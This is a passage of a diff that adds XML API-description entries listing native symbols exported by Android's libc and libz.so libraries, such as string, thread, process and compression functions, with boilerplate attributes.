+ <method abstract="false" deprecated="not deprecated" final="true" name="seed48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getdetachstate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setspecific" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcwidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gettimeofday" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fgets_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="jrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gmtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="prlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="warn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_rcode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_sprintrrf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fsetlocking" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pread64_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execlp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freeifaddrs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__b64_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strstr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__register_atfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asctime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getspecific" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nameinquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="at_quick_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_isourserver" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="remque" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoull_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sighold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="uselocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwarnx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_timedwrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_avphys_pages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_uncompress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswlower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hasmntopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_tryrdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nsdispatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setfsgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="capget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="umask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clearenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pthread_cleanup_pop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_gettid_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_skiprr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setstacksize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_send_setqhook" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbsinit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="symlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="funlockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswcntrl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_setaffinity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="login_tty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statvfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__ppoll_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__progname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="futimens" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gettid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrier_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setresuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="writev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="killpg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tfind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lgetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsrtombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_getclock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clone" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="initgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsetpos64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="labs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readdir64_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getaffinity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timelocal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sethostname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getwchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetpos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsockname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msgsnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_trywrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getchar_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strnlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__assert2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="execvpe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="error_at_line" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftell" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalpha" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_detach" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mempcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="warnx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="arc4random" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__libc_current_sigrtmin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_addr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timerfd_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsstr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigpending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rmdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pread64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_trylock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="twalk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="sys_siglist" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mknodat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pwrite_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpriority" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcgetsid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="abort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcdrain" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atoi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="faccessat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchownat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="opterr" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__umask_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="atol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lchown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_set_nameservers_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setrlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msgget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftello" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="err" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recvmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="siglongjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libz.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateInit2_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateTune" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflatePrime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateReset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gztell" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_tally" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateMark" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateSyncPoint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflate_fast" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateSetHeader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_align" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_flush_block" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateBackEnd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_length_code" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="inflate_copyright" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adler32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="z_errmsg" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateResetKeep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crc32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="_dist_code" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gz_error" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflate_table" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateCopy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzputc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateGetHeader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zcalloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzgetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzvprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateReset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzeof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_flush_bits" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateReset2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="crc32_combine64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateInit_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zlibCompileFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzdirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateInit2_" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflatePending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="deflate_copyright" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzseek64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zcfree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateResetKeep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzoffset64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="compressBound" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="deflateParams" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateGetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_crc_table" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateBack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflatePrime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inflateSetDictionary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tr_stored_block" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="adler32_combine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzrewind" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclose_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gzdopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="zlibVersion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
